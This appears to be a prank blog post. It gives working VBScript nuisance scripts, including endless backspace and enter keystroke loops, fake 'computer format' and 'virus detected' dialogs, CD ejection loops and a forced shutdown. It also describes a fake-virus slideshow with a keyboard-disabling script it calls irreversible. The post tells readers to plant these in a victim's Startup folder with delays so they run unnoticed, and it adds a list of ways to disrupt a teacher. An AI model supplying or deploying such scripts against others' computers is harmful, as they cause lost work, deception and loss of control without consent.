Great harmless virus

Today im gonna teach you a great trick you can use in school or your friends house.... it will show a black screen and tell that the pc has been infected by a virus and the hard drives are being wiped out ..... actually its just a powerpoint slide show on kiosk mode .. as pressing "esc" can end a kiosk slideshow i provided you guys with a vbs script that will disable the whole keyboard but beware that the disabled keyboard cant be reversed .... just follow the instructions below

1. first download "virus.rar"    Click to download "virus.rar"
2.extract the files and copy "final.pps" and "keyboard disable.vbs" to VICTIMS computer
3. put the files in :-
     
         C:/users/victims name/appdata/roaming/microsoft/windows/startmenu/programs/startup

4. now the powerpoint slide show will begin at startup .... if you want to check opening "final.pps" wont do no harm ... if you want to do some modifications use the "lol.pptx" or rename the "final.pps" to "final.pptx" check the slide show and you will know how the victim will feel when he sees it ...

Great ways to disturb the teacher

Dont like your teacher ..... she keeps on saying things you dont understand ... fear not ... start disturbing .. use these ways to disturb your teacher.. these are qualified and experienced by me ....

1. start talking bullshit and for everything they say ,you say "fish" that will drive them crazy
2. grab a big piece of paper and write " the dude behind me cant see" then sit at the front and keep raising it
3. the legendary trick : dont EVER do your homework
4. when submitting a paper always write "if you read this , the paper will self destruct in 5 seconds" if the                  
    teacher asks you about it tell her that she didnt read it properly
5. pass a blank paper around and keep laughing at it .. when teachers grab it and see .. they get really pissed  
6. if your teacher call you say " yo mama"
7. write with bright colored markers and crayons
8. always listen carefully for teachers mistakes .. then laugh like a freak and correct her
9.for everything your teacher say ,you say " prove it ??? " (and look innocent)
10. every time you do something right shout " YEEEESSSSSSS"
11. pretend you dont have a brain or you were recently brainwashed
12. when they ask questions say " sorry, the brain you tried to reach has been disconnected
13. enter the class like James bond and play that tune with your mouth

just remember .. i wont be responsible if you do this in class and get into trouble

VBS PRANKS TO DRIVE YOUR FRIEND CRAZY

so today im going to share some vb scripts pranks ... copy them to notepad and save them ....they only work when you rename them ".vbs"

STOP ME IF YOU CAN 


MsgBox "stop me..! if you can"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop


A msg box saying "stop me if you can" appears and then keeps pressing backspace ... i think you guys would know what will happen next



HIT ENTER


Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

this will keep hitting enter making it impossible to do anything

GENUINE WINDOWS PRANK


do
X = MsgBox("This copy of windows is not genuine. Starting computer format in 15 minutes. ", ,"Error")
X = MsgBox("Close all opened programs.", vbQuestion ,"Error")
loop

a msgbox pops up and says that the copy of windows is not genuine .. and it will start computer format in 15 minutes


CRAZY DRIVE


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


This is one of my favorites .. it keepss ejecting the cd roms ... and keeps on looping


HOW ARE YOU 


Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

this opens notepad and slowly writes how are you. im good. thanks .

SHUT DOWN


For ok = 0 To 1 Step 2
WScript.echo ("hello")
msgbox ("Are you having fun?")
msgbox ("Because I am.")
msgbox ("Let's have fun together!")
next
dim strShutDown,objShell
' -s = shutdown, -t 0 = no timeout, -f = force programs to close
strShutdown = "shutdown.exe -s -t 0 -f -m \\" & strComputer
set objShell = CreateObject("WScript.Shell")
objShell.Run strShutdown, 0, false

shuts down the computer after a message

malfunctioning software


do
intResponse = MsgBox("microsoft access has crashed", _
vbCritical + vbSystemModal, _
"Fatal Error!")

intResponse = MsgBox("Harmful virus detected!", _
vbExclamation + vbSystemModal, _
"Warning!")

intResponse = MsgBox("Computer must be formatted to remove virus. Do you want to start computer format now?", _
vbYesNo + vbExclamation + vbSystemModal + vbDefaultButton2, _
"Warning!")
If intresponse = vbYes Then
    intresponse = MsgBox("Prparing computer format. All data will be lost after computer format.", _
    vbExclamation + vbSystemModal, _
    "Warning!")
Else
    intResponse = MsgBox("Unable to cancel computer format", _
    vbCritical + vbSystemModal, _
    "Error")
    intresponse = MsgBox("Preparing computer format. All data will be lost after computer format.", _
    vbExclamation + vbSystemModal, _
    "Warning!")
End if

intresponse = MsgBox("Starting format!", _
vbExclamation + vbSystemModal, _
"Warning!")
loop

you can change the microsoft access to anything you want ... its harmless ... just msgboxes

DISCO


Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

you can have a disco on your keyboard

to terminate these just go to task manager and check processes for wscript then end that ... ENJOY
for more fun add


WScript.Sleep 180000
WScript.Sleep 10000

to the start of the scripts by right clicking and selecting edit ... then the vbs will start some time later so your friends wont know you did it

for still more fun  copy the scripts to
 C:/users/the user you want to prank/appdata/roaming/microsoft/windows/startmenu/programs/startup
then the scripts will start every time the user starts his machine